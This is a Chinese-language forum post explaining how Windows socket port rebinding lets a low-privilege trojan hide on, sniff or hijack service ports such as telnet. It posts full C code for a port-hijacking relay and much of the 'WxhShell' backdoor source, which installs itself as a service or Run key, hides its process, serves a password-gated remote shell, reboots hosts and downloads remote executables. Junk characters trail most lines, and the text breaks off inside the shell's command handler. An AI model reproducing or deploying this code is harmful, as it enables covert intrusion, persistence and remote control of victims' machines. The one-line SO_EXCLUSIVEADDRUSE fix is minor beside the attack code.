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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T0dD:sN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RHBQgD$  
d'Bxi"K  
  saddr.sin_family = AF_INET; <$s sU{5  
<A=1]'1\r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {|>Wwa2e  
O!nS3%De  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \8$~ i  
"G%</G8M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2#:p:R8I>  
.B<Bqr@?8  
  这意味着什么?意味着可以进行如下的攻击: 7^#f)Vp  
4@{?4k-cq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mj$Ucql  
l+ >eb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2Q%7J3I  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [5~mP`He  
QPB,B>Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0D2I)E72o  
8u~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7Q&-ObW  
nyi!D   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'o}[9ZBjn  
xrvM}Il  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m=l'9j"D  
DNq(\@x[!  
  #include Jf?6y~X>Y  
  #include R6(:l; W  
  #include -ymDRoi  
  #include    i:aW .QZ.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :sg}e  
  int main() ~ C%I'z'  
  { lvWwr!w  
  WORD wVersionRequested; \fTQNF  
  DWORD ret; ISNL='%  
  WSADATA wsaData; %\<b{x# G  
  BOOL val; :CE4< {V  
  SOCKADDR_IN saddr; 1V1I[CxlX  
  SOCKADDR_IN scaddr; -%"PqA/1zj  
  int err; b*?u+tWP_  
  SOCKET s; `5@F'tKQ  
  SOCKET sc; e9[72V  
  int caddsize; @p*)^D6E\  
  HANDLE mt; GA gTy  
  DWORD tid;   0uDDaFS  
  wVersionRequested = MAKEWORD( 2, 2 ); ia'z9  
  err = WSAStartup( wVersionRequested, &wsaData ); zw+aZDcV(  
  if ( err != 0 ) { wv3,% lN  
  printf("error!WSAStartup failed!\n"); 'M>m$cCMZ  
  return -1; `RnWh9  
  } :Mu*E5  
  saddr.sin_family = AF_INET; /dYv@OU?  
   \_1a#|97e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -Ty~lZ)TDT  
}aRib{L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4uIYX  
  saddr.sin_port = htons(23); f zo'9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1'<C-[1  
  { &Pr\n&9A  
  printf("error!socket failed!\n"); C")genMH  
  return -1; ]j*2PSJG  
  } tNT Sy =  
  val = TRUE; |[>@Kk4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Zl5'%b$&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >lRZvf-i  
  { pIlEoG=[_  
  printf("error!setsockopt failed!\n"); p' >i3T(  
  return -1; &|>~7(  
  } F]3Y,{/V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SL4?E<Jb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +Dy^4p?o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2 kDsIEA  
'{d@Gc6.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /WTEz\k  
  { 1]7gYNzV"  
  ret=GetLastError(); G>V6{g2Q  
  printf("error!bind failed!\n"); {z FME41>g  
  return -1; Yb+A{`  
  } q7X]kr*qx  
  listen(s,2); ~sk p}g]  
  while(1) !K>iSF<  
  { 3 ~v 17  
  caddsize = sizeof(scaddr); qNEp3WY:  
  //接受连接请求 @gI1:-chB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FO2e7p^Q  
  if(sc!=INVALID_SOCKET) q\0/6tl_  
  { P3_.U8g$r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @ma(py  
  if(mt==NULL) UPh#YV 0/,  
  { bx3Q$|M?  
  printf("Thread Creat Failed!\n"); n"(!v7YNp  
  break; 11=$] K>  
  } .9jKD*U|  
  } _VrY7Mz:r  
  CloseHandle(mt); 75^6?#GS  
  } U[C4!k:0  
  closesocket(s); eM5?fE&!&  
  WSACleanup(); 9@ tp#  
  return 0; ywa*?3?c  
  }   (@1:1K(   
  DWORD WINAPI ClientThread(LPVOID lpParam) h|qJ{tUWc$  
  { ^|Q]WHNFB  
  SOCKET ss = (SOCKET)lpParam; x e`^)2z  
  SOCKET sc; Z3`EXs  
  unsigned char buf[4096]; WK>F0xMs1  
  SOCKADDR_IN saddr; d?2V2`6  
  long num; &|hK79D  
  DWORD val; k ka5=u  
  DWORD ret; 7zM:z,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }s}g}t8v-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $T'!??|IF  
  saddr.sin_family = AF_INET; V ;T :Q%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N^Re  
  saddr.sin_port = htons(23); X]0>0=^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nr!N%Hi  
  { &k }f"TX2  
  printf("error!socket failed!\n"); PVCoXOqh  
  return -1; 2xI|G 3U  
  } Luq4q95]  
  val = 100; /(N/DMl[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,erw(7}'.  
  { FwCb$yE#M  
  ret = GetLastError(); (`P\nnb  
  return -1; z|l*5@p  
  } P?54"$b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '%NglC[J  
  { 4.RQ3SoDa  
  ret = GetLastError(); 9njwAKF?  
  return -1; {Cx5m   
  } G-aR%]7$g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G95,J/w  
  { a)qan  
  printf("error!socket connect failed!\n"); r~4uIUE{  
  closesocket(sc); * QgKo$IF  
  closesocket(ss); \CbJU  
  return -1; IPiV_c-l  
  } ep0,4!#FAO  
  while(1) WyL+HB}  
  { zw0w."V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qNp1<QO0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *H>rvE.K?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \8`?ir q"  
  num = recv(ss,buf,4096,0); ^J!q>KJs  
  if(num>0) a?c&#Jl  
  send(sc,buf,num,0); K =g</@L6R  
  else if(num==0) }f}.>B0#  
  break; Ui{%q @  
  num = recv(sc,buf,4096,0); pSZ2>^";  
  if(num>0) >DqF>w.1  
  send(ss,buf,num,0); ?1e{\XW  
  else if(num==0) \ mqx '  
  break; UM}u(;oo%)  
  } #YUaM<O  
  closesocket(ss); 7nZPh3%  
  closesocket(sc); eL!41_QI  
  return 0 ; ny={OhP-  
  } r~w.J+W  
2G8pDvBr  
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========================================================== vqf$("  
2Xb, i  
下边附上一个代码,,WXhSHELL Ucj?$=  
p{FI_6db  
========================================================== s}D>.9  
B@,9Cx564  
#include "stdafx.h" [,%=\%5  
8% @| /  
#include <stdio.h> Dn- gP  
#include <string.h> $Y$9]G":  
#include <windows.h> 9 _d2u#  
#include <winsock2.h> <N<Q9}`V  
#include <winsvc.h> f0<zK !  
#include <urlmon.h> b}J%4Lx%m  
D$>_W,*V  
#pragma comment (lib, "Ws2_32.lib") l,ENMKA^D  
#pragma comment (lib, "urlmon.lib") :5d>^6eoB?  
Zed Fhm  
#define MAX_USER   100 // 最大客户端连接数 <v"o+  
#define BUF_SOCK   200 // sock buffer rS8a/d~;0  
#define KEY_BUFF   255 // 输入 buffer IThd\#=  
/--p#Gh'  
#define REBOOT     0   // 重启 X/!_>@`7?  
#define SHUTDOWN   1   // 关机 "Fz.# U  
NnZW@ln"|  
#define DEF_PORT   5000 // 监听端口 ^0VL](bD>  
Xtp8 ^4Va  
#define REG_LEN     16   // 注册表键长度 pYO =pL^Q  
#define SVC_LEN     80   // NT服务名长度 ;*K4{wvG  
1Pf(.&/9_  
// 从dll定义API "kg`TJf=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W,q @ww u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Iv`IJQH>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zF&VzNR2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *Cy54Z#  
P rt} 01$  
// wxhshell配置信息  %Bq~b$  
struct WSCFG { }r}*=;Ea  
  int ws_port;         // 监听端口 :1v,QEb\  
  char ws_passstr[REG_LEN]; // 口令 -[>de! T3$  
  int ws_autoins;       // 安装标记, 1=yes 0=no jU,Xlgz(A  
  char ws_regname[REG_LEN]; // 注册表键名 \1EuHQ?  
  char ws_svcname[REG_LEN]; // 服务名 3;nOm =I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mh }M|h5Im  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kg@'mG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P<<$o-a"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _=v#"l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Aoa8Q E   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8&<:(mAP  
+X?ErQm  
}; 5=>1>HYM  
tjdPi a  
// default Wxhshell configuration cx}Yu8  
struct WSCFG wscfg={DEF_PORT, %1z;l.c  
    "xuhuanlingzhe", sJHVnMA  
    1, ]TV_ p[L0B  
    "Wxhshell", ^@fD{]I  
    "Wxhshell", 8f@}-  
            "WxhShell Service", p8Vqy-:  
    "Wrsky Windows CmdShell Service", R|; BO:S1  
    "Please Input Your Password: ", n. %QWhUB  
  1, ;p`1Y<d-O  
  "http://www.wrsky.com/wxhshell.exe", =j7Du[?Vu  
  "Wxhshell.exe" /Vlc8G  
    }; 'Waa zk[@O  
c-Gp|.C  
// 消息定义模块 I8H3*DE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'u,|*o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l1KMEGmG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9#8vPjXW}.  
char *msg_ws_ext="\n\rExit."; y:G%p3h)[  
char *msg_ws_end="\n\rQuit."; !V|{(>+<  
char *msg_ws_boot="\n\rReboot..."; CTMC78=9}  
char *msg_ws_poff="\n\rShutdown..."; FW]tDGJOw  
char *msg_ws_down="\n\rSave to "; D%SOX N  
xd Z$|{,  
char *msg_ws_err="\n\rErr!"; m^X51,+<  
char *msg_ws_ok="\n\rOK!"; %ms%0%  
84ij4ZYe  
char ExeFile[MAX_PATH]; TrI+F+;  
int nUser = 0; Kda'N$|`  
HANDLE handles[MAX_USER]; MU<(O}  
int OsIsNt; 3(YvqPp&  
 ?kjQ_K  
SERVICE_STATUS       serviceStatus; .7iRV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $]7f1U_e  
E@VQxB7+  
// 函数声明 +eVYy_bL-  
int Install(void); OB>Hiy   
int Uninstall(void); wMS%/l0p1  
int DownloadFile(char *sURL, SOCKET wsh); eORXyh\K  
int Boot(int flag); ~nZcA^b#DQ  
void HideProc(void); s$Vl">9#  
int GetOsVer(void); EJ:O 1  
int Wxhshell(SOCKET wsl); $8^Hk xy  
void TalkWithClient(void *cs); m8n)sw,,  
int CmdShell(SOCKET sock); }[0nTd  
int StartFromService(void); wAh]C;+{  
int StartWxhshell(LPSTR lpCmdLine); )O'LE&kQ|  
fA=Z):w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I0XJ& P%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p fc6;K:d  
:a wt7lqv  
// 数据结构和表定义 ^*.[b  
SERVICE_TABLE_ENTRY DispatchTable[] = C qd\n#d/~  
{ *)m:u:   
{wscfg.ws_svcname, NTServiceMain}, zlMh^+rMX  
{NULL, NULL} ?N kKDvv  
}; \Vc[/Qp7Bb  
(p]FI#y  
// 自我安装 <':h/ d  
int Install(void) , Ckcc  
{ 4`O[U#?  
  char svExeFile[MAX_PATH]; D e&,^"%  
  HKEY key; -K|1w'E  
  strcpy(svExeFile,ExeFile); r]9-~1T  
9xA4;)36  
// 如果是win9x系统,修改注册表设为自启动  : (UK'i  
if(!OsIsNt) { r1!1u7dr t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FJ_JaIby  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &'6/H/J  
  RegCloseKey(key); n#!c!EfG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `gSMb UgF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0zW*JJxV  
  RegCloseKey(key); ]B>76?2W  
  return 0; ElO|6kOBYG  
    } BU -;P  
  } [O3:?BNY  
} s;A7:_z#7  
else { /2Izj/Q  
+4yre^gC  
// 如果是NT以上系统,安装为系统服务 @a 9.s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 21TR_0g&<  
if (schSCManager!=0) !Z_+H<fi+I  
{ O Z ./suR)  
  SC_HANDLE schService = CreateService $+j1^  
  ( etX@z'H  
  schSCManager, r<!hEWO>v  
  wscfg.ws_svcname, AJyN lQ  
  wscfg.ws_svcdisp, y[N0P0r l:  
  SERVICE_ALL_ACCESS, x-i1:W9;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @i#JlZM_  
  SERVICE_AUTO_START, ]I|(/+}M  
  SERVICE_ERROR_NORMAL, >XtfT'  
  svExeFile,  l"ms:v  
  NULL, q>_<\|?%x  
  NULL, Jc":zR@5  
  NULL, }MaY:PMA  
  NULL, }=X: F1S  
  NULL _}R9!R0O  
  ); 3(e_2v  
  if (schService!=0) [9 MH"\  
  { ^PEw#.WG  
  CloseServiceHandle(schService); y#Dh)~|k  
  CloseServiceHandle(schSCManager); N3"JouP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4Y(@ KUb  
  strcat(svExeFile,wscfg.ws_svcname); tWn dAM(U7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qvp"gut)%X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h0<PQZJ  
  RegCloseKey(key); i"&FW&W  
  return 0; VcKB:(:[  
    } F85_Lz4  
  } i#-v4g  
  CloseServiceHandle(schSCManager); _mSefPl  
} wPg/.N9H  
} `X<B+:>v-  
JpS}X\]i  
return 1; #gbB// <  
} G _cJI  
l!*_[r   
// 自我卸载 JmCMFq B9  
int Uninstall(void) 3en 9TB  
{ -;9 }P  
  HKEY key; =zFROB\  
l@);U%\pS  
if(!OsIsNt) { v@$N,g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,4'gj0  
  RegDeleteValue(key,wscfg.ws_regname); ! AwMD  
  RegCloseKey(key); 6U{A6hH]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )9H5'Wh#  
  RegDeleteValue(key,wscfg.ws_regname); AYnPxiW|  
  RegCloseKey(key); :7K a4  
  return 0; ZPZh6^cc  
  } (H_dZL  
} NifQsy)*%  
} M hN;GMH  
else { u+V*U5v  
E !!,JnU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =e6p v#  
if (schSCManager!=0) &3SS.&g4W  
{ Ic(qA{SM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vX:}tir[  
  if (schService!=0) s!(R  
  { v_XN).f;  
  if(DeleteService(schService)!=0) { pyhXET '  
  CloseServiceHandle(schService); 2W+~{3[#  
  CloseServiceHandle(schSCManager); es7;eH*O9  
  return 0; W_B=}lP@x  
  } =2&\<Q_Fi  
  CloseServiceHandle(schService); 8~(xi<"e  
  } ,1ev2T  
  CloseServiceHandle(schSCManager); n=!T (Hk  
} +0Q   
} 4vg3F(   
WX4sTxJK  
return 1; qcs) p  
} hi,=" /9  
eB~\~@  
// 从指定url下载文件 hJM& rM7  
int DownloadFile(char *sURL, SOCKET wsh) =RWTjTZ   
{ QVjHGY*R  
  HRESULT hr; V ,KIi_Z  
char seps[]= "/"; q=3>ij {v  
char *token; H?"M&mF  
char *file; F?6kkLS/  
char myURL[MAX_PATH]; F>\,`wP  
char myFILE[MAX_PATH]; _s;y0$O  
$U[d#:]  
strcpy(myURL,sURL); 4<[?qd 3v=  
  token=strtok(myURL,seps); UIEvwQ  
  while(token!=NULL) 2_pF#M9  
  { OH@"]Nc~  
    file=token; 6SCjlaGW5  
  token=strtok(NULL,seps); #ksDU  
  } [ bnu DS  
A"S"La%"  
GetCurrentDirectory(MAX_PATH,myFILE); b%lB&}uw}  
strcat(myFILE, "\\"); v:SHaUS  
strcat(myFILE, file); Qm[((6}  
  send(wsh,myFILE,strlen(myFILE),0); XKGiw 2 C  
send(wsh,"...",3,0); a[hF2/*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ij(dgY  
  if(hr==S_OK) q.J6'v lj/  
return 0; A'w+Lc.2  
else ZSNbf|ldiE  
return 1; 6Y2,fW8i,  
jN+`V)p  
} $2Wk#F2c=  
"22./vWV|i  
// 系统电源模块 vGyQ306  
int Boot(int flag) '5aA+XP|  
{ H s)]  
  HANDLE hToken; Qb@j8Xa4[  
  TOKEN_PRIVILEGES tkp; MNs<yQ9I'  
#w L(<nE  
  if(OsIsNt) { ;d<XcpK}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qt OuA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b!g)/%C  
    tkp.PrivilegeCount = 1; $MasYi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <vl(a*4a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rX$-K\4W  
if(flag==REBOOT) { SsX$l<t*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cPIyD?c  
  return 0; xLIyh7$t  
} HV!P]82Pa  
else { V.3#O^S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <@`K^g;W  
  return 0; m:Rx<E E  
} !& c%!*  
  } -rsS_[$2  
  else { f]1 $`  
if(flag==REBOOT) { [vtDtwL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p3fV w]N  
  return 0; gs2qLb  
} 3Dc^lfn  
else { *Iw19o-I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) toF6 Z  
  return 0; &h[)nD  
} =SJ[)|  
} ~(m6dPm$}m  
h%:wIkZ/  
return 1; VII`qbxT  
} CWs;1`aP  
^ &KH|qRrO  
// win9x进程隐藏模块 ,S(_YS^m  
void HideProc(void) J'cE@(US  
{ j,,#B4b  
M-Nn \h$,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JK md'ZGw  
  if ( hKernel != NULL ) PmId #2f  
  { BvlY\^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0wBr_b!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R U[  
    FreeLibrary(hKernel); -GgV&%'a  
  } -NG9?sI\U  
5}N O~Xd<  
return; y^p%/p%  
} P\c0Q;){h"  
r'}#usB(  
// 获取操作系统版本 .hvn/5s  
int GetOsVer(void) [-[|4|CnOm  
{ :Z ]E:f0P  
  OSVERSIONINFO winfo; DF#WQ8?$]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d\z':d .Tt  
  GetVersionEx(&winfo); d@|j>Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p|Fhh\,*`X  
  return 1; D/{Spw@  
  else 9.goO|~B~  
  return 0; a7NX~9 g  
} N~arxe (K  
I(WND/&  
// 客户端句柄模块 qf] OSd  
int Wxhshell(SOCKET wsl) "ZVBn!  
{ tX *L_  
  SOCKET wsh; =TI|uD6T  
  struct sockaddr_in client; EZiGi[t7  
  DWORD myID; bOmM~pD  
h$zPQ""8  
  while(nUser<MAX_USER) 7]9s_13]  
{ +FVcrL@  
  int nSize=sizeof(client); .Lu=16  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '*p-`  
  if(wsh==INVALID_SOCKET) return 1; cl7+DAE  
!c`Q?aGV)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N<Q}4%^c  
if(handles[nUser]==0) uJp}9B60_  
  closesocket(wsh); J&:0ytG  
else tT#Q`cB  
  nUser++; kAk,:a;P  
  } .y[K =p3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t_VHw'~"  
7iJk0L$]x  
  return 0; d`nS0Tf'  
} =yNHJHRA#  
w)8@Tu:Q  
// 关闭 socket WE~3(rs#X#  
void CloseIt(SOCKET wsh) gZ!(&u  
{ ^9b `;}).  
closesocket(wsh); hJ4.:  
nUser--; x?<5=,  
ExitThread(0); IKr7"`  
} ta6 WZu  
6$dm-BI  
// 客户端请求句柄 Q#r 0DWo\  
void TalkWithClient(void *cs) Yh%wf3 UEO  
{ t@JPnA7~  
G =4y!y  
  SOCKET wsh=(SOCKET)cs; fY"28#   
  char pwd[SVC_LEN]; #"yf^*wX  
  char cmd[KEY_BUFF]; z|?R=;,u`  
char chr[1]; -5 W0K}  
int i,j; @>:07]Dxo  
C[&&.w8Pm  
  while (nUser < MAX_USER) { lM1!2d'P  
:d2u?+F  
if(wscfg.ws_passstr) { B:r-')!0$#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1=a}{)0h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *(MvNN*  
  //ZeroMemory(pwd,KEY_BUFF); 0amz#VIB<u  
      i=0; U?lu@5 ^Z  
  while(i<SVC_LEN) { S7q &|nI  
@ty|HXW  
  // 设置超时 (Sv%-8?gs  
  fd_set FdRead; 6qJB"_.  
  struct timeval TimeOut;  ck~xj0  
  FD_ZERO(&FdRead); U44H/5/  
  FD_SET(wsh,&FdRead); ~+C#c,Nw  
  TimeOut.tv_sec=8; F`Y<(]+   
  TimeOut.tv_usec=0; g[jZ A[[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7 f*_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .am*d|&+G  
,7g;r_qwA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E\S&} K,s  
  pwd=chr[0]; g\)z!DQ]  
  if(chr[0]==0xd || chr[0]==0xa) { "\[>@_p h  
  pwd=0; _MEv*Q@o  
  break; Wd5t,8*8  
  } "y0 A<-~  
  i++; W 8NA.  
    } 6<Wr 8u,  
VC(|t} L4  
  // 如果是非法用户,关闭 socket lp UtNy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8!SiTOzR?  
} -JENY|6  
$\!;*SSj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WCu%@hh=h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;alFK*K6  
w0Y%}7  
while(1) { []0~9,u  
U9 *2< c  
  ZeroMemory(cmd,KEY_BUFF); )+,jal^7  
hFfaaB  
      // 自动支持客户端 telnet标准   6S[D"Q94  
  j=0; >NA7,Z2.  
  while(j<KEY_BUFF) { pd3&AsU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); odf^W  
  cmd[j]=chr[0]; :Qo  
  if(chr[0]==0xa || chr[0]==0xd) { yWtr,  
  cmd[j]=0; +yH~G9u(  
  break; E0]h|/A]  
  } mm-UQ\h  
  j++; u g"<\"  
    } SqF.DB~  
W? ||9  
  // 下载文件 =Zy!',,d,9  
  if(strstr(cmd,"http://")) { UiZp -Y%ki  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); arKmc@"X  
  if(DownloadFile(cmd,wsh)) y?#J`o- O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _lv:"/3R  
  else ,GU/l)os`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eI rmD  
  } .<^Y E%  
  else { vcO`j<`  
UH-uU~  
    switch(cmd[0]) { X6GkJ R  
  n o+tVm|  
  // 帮助 :;;WK~* #  
  case '?': { _JTxm>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yUmsE-W  
    break; Wo+CQH6(  
  } )z235}P  
  // 安装 'F"Y?y:!  
  case 'i': { Ij}F<ZgZG  
    if(Install()) ~!:Sp_y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*JvpI[7n  
    else 'Rd*X6dv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _pko]F|()  
    break; #lshN,CPm  
    } Wo9psv7.  
  // 卸载 k7|z$=zY  
  case 'r': { L@n6N|[_  
    if(Uninstall()) ;i9<y8Dha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R=9~*9  
    else Sja{$zL+W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dEd]U49u  
    break; ' q<EZ {  
    } v<3o[mq  
  // 显示 wxhshell 所在路径 ) Zb`~w  
  case 'p': { vo6[2.HS  
    char svExeFile[MAX_PATH]; hQ}7Z&O  
    strcpy(svExeFile,"\n\r"); b?]ly(  
      strcat(svExeFile,ExeFile); tdnXPxn[  
        send(wsh,svExeFile,strlen(svExeFile),0); EhIV(q9x  
    break; (ND5CKCR^  
    } Ly)(_Tp@+  
  // 重启 nJ*mEB  
  case 'b': { ,> (bt%b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 33<fN:J]f  
    if(Boot(REBOOT)) 8S1P&+iKs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S}w.#tyEn  
    else { }xf='lE  
    closesocket(wsh); \%Ah^U)gS  
    ExitThread(0); D,dHP-v  
    } tSb?]J  
    break; iL0jpa<}  
    } xdL/0 N3  
  // 关机 @Xve qUUU  
  case 'd': { "s>fV9YyZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oF;%^XFp  
